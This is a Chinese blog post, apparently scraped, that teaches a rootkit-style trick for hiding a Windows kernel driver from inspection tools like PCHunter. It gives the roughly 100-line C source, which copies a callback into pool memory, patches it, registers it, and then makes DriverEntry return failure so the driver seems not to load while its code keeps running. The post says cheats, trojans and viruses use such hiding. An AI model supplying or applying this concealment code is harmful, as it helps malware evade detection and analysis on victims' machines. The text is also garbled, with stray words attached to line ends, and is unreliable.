windwos下想要搞點事,權限固然是越大越好;驅動模塊天生在0環,和操做提供平級,你們互相是兄弟,因此不少外掛、木馬、病毒都會使用驅動達到本身的目的。那麼問題來了:PCHUNTER這種工具能查到系統裏面全部驅動模塊,外掛\木馬\病毒該怎麼隱藏了?windows
常見隱藏驅動的方式:函數
今天介紹一種driveEntry返回失敗隱藏驅動的方法 —— DriverEntry返回失敗;工具
windows會根據DriverEntry的返回值判斷驅動是否加載成功。若是返回成功,會在註冊表詳細記錄,並將sys文件複製到System32/drivers目錄下;若是失敗,會回收執行代碼時分配的棧空間,但此時代碼已經執行,該方法隱藏驅動最核心的點就在這了:spa
先自定義一個函數指針,指向打印函數,但地址隨便用個Magic Number糊弄; 等回調函數的代碼拷貝到堆上後,再調用MmGetSystemRoutineAddress獲得打印函數的地址,再寫回函數指針;操作系統
完整代碼以下(其實很少,也就100行左右):指針
#include <fltKernel.h> typedef ULONG (__cdecl * DbgPrintType)( _In_z_ _Printf_format_string_ PCSTR Format, ... ); #define DBG_PTR_TAG_MAGICNO 0xbabababababababa void MyLoadImageNotifyRoutine( PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo ) { ProcessId = ProcessId; DbgPrintType MyDbgPrint = (DbgPrintType)DBG_PTR_TAG_MAGICNO; if (FullImageName != NULL && ImageInfo != NULL) { if ((ULONG_PTR)ImageInfo->ImageBase > (ULONG_PTR)0xf000000000000000) { MyDbgPrint("MyLoadImageNotifyRoutine: loading a kernel module: %wZ.\r\n", FullImageName); } } } void DriverUnload(PDRIVER_OBJECT DriverObject) { DriverObject = DriverObject; KdPrint(("Hello, unloaded.\r\n")); PsRemoveLoadImageNotifyRoutine(MyLoadImageNotifyRoutine); } #define FUNC_LEN 0x100 NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ) { NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING dbgprint_str = RTL_CONSTANT_STRING(L"DbgPrint"); //分配堆空間,後續把本身的回調函數(這部分代碼還要執行) PVOID my_func_body = ExAllocatePoolWithTag(NonPagedPool, FUNC_LEN, 'Disp'); DbgPrintType dbgprint_ptr = NULL; PUCHAR func_body_ptr = NULL; int i; // 防止警告。 DriverObject = DriverObject; RegistryPath = RegistryPath; DbgBreakPoint(); do { if (my_func_body == NULL) { status = STATUS_INSUFFICIENT_RESOURCES; break; } // 動態獲取DbgPrint函數的地址。 dbgprint_ptr = (DbgPrintType)MmGetSystemRoutineAddress(&dbgprint_str); if (dbgprint_ptr == NULL) { status = STATUS_UNSUCCESSFUL; break; } // 拷貝函數體。 memcpy(my_func_body, (PVOID)MyLoadImageNotifyRoutine, FUNC_LEN); // 替換函數體中的當即數0xbabababababababa,使之變成DbgPrint函數的地址 for (i = 0; i < FUNC_LEN; ++i) { func_body_ptr = (PUCHAR)my_func_body + i; if (*(ULONG_PTR*)func_body_ptr == (ULONG_PTR)DBG_PTR_TAG_MAGICNO) { *(ULONG_PTR*)func_body_ptr = (ULONG_PTR)dbgprint_ptr; break; } } if (i == FUNC_LEN) { status = STATUS_UNSUCCESSFUL; break; } // 將分配的堆函數註冊成回調函數。 status = PsSetLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)my_func_body); } while (0); if (status != STATUS_SUCCESS && my_func_body != NULL) { ExFreePool(my_func_body); } // 返回失敗,確保驅動"不加載"。 status = STATUS_UNSUCCESSFUL; return status;
效果以下:code
(1)反正在PCHUNTER的驅動模塊頁面是找不到了orm
(2)加載驅動時看到的提示,給人感受好像失敗了:對象
但其實驅動的代碼已經運行了,這裏能正常檢測和打印被加載的模塊:blog
(3)內核模塊仍是能看到,但沒有路徑,很差找模塊在哪,給分析增長難度:
最後總結一下: 目前流行的隱藏驅動方式,都逃很少微軟VBS的法眼;一旦開啓VT,處於-1環,至關於擁有了上帝視角,經過EPT把操做系統內核的全部操做都能監控到,因此如今的對抗進一步演變成了對系統更底層權限的爭奪;誰先得到了更底層的權限,誰就能監控上一層的一舉一動。